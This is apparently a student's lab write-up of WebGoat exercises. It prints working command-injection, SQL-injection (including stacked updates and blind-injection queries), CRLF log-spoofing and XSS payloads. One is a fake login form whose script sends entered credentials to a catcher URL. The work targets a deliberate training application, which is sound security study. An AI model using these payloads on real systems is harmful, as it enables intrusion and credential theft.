输入update-alternatives --config java
切换jdk版本,使用jdk1.8,如果没有请自行安装,参考链接
进入到文件目录下,输入java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat:
在浏览器中输入http://localhost:8080/WebGoat
就可以进入WebGoat登录界面,账号密码均为guest
浏览网页源代码,审查网页元素对复选框代码进行修改,添加"& netstat -an & ipconfig"
:
修改完成后,点击view
,就可以查看IP地址等信息:
浏览网页源代码,审查网页元素对复选框代码进行修改,在Value值中添加or 1=1
:
点击Go!
即可显示所有城市的天气情况:
题目要求是让用户名admin
成功登录:
在user栏中输入20175214lzc%0d%0aLogin Succeeded for username: admin
:
0D%
是回车,%0A
是换行符,通过它们实现换行显示;构造方法:使用永真式1=1
,并用--
注释掉后面的内容;
尝试输入‘ or 1=1 --
,但是登陆失败:
审查网页元素,对输入框的maxlength
进行修改,例如改成5214,然后重新尝试就可以登陆成功:
20175214lzc‘ or 1=1--
,成功得到所有用户的信用卡号码输入题中给的101,可以看到原始的数据:
先尝试进行注入,输入101; update employee set Password=larry
,尝试将密码改为学号:
根据题目要求,我们的最终目标是把工资提高,输入101; update employee set salary=66666
修改工资:
本题中,输入后页面返回的信息为帐号有效或无效。
:构造查询语句,输入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 ) ;
可以看到,返回账号无效的提示,也就是说pin值小于5000,反复使用二分法可以推算出为2364:
操作过程和数字型盲注入基本相同,反复使用二分法即可:
依次确认其他字母,最终得到结果为Jill:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
<script>alert("Hello,this is 20175214lzc.");</script>
同样根据右侧进行参数设置:
点击底下的链接:
(1)SQL注入攻击原理,如何防御
(2)XSS攻击的原理,如何防御
(3)CSRF攻击原理,如何防御
2019-2020-2 网络对抗技术 20175214 Exp9 Web安全基础
原文:https://www.cnblogs.com/fzlzc/p/12968610.html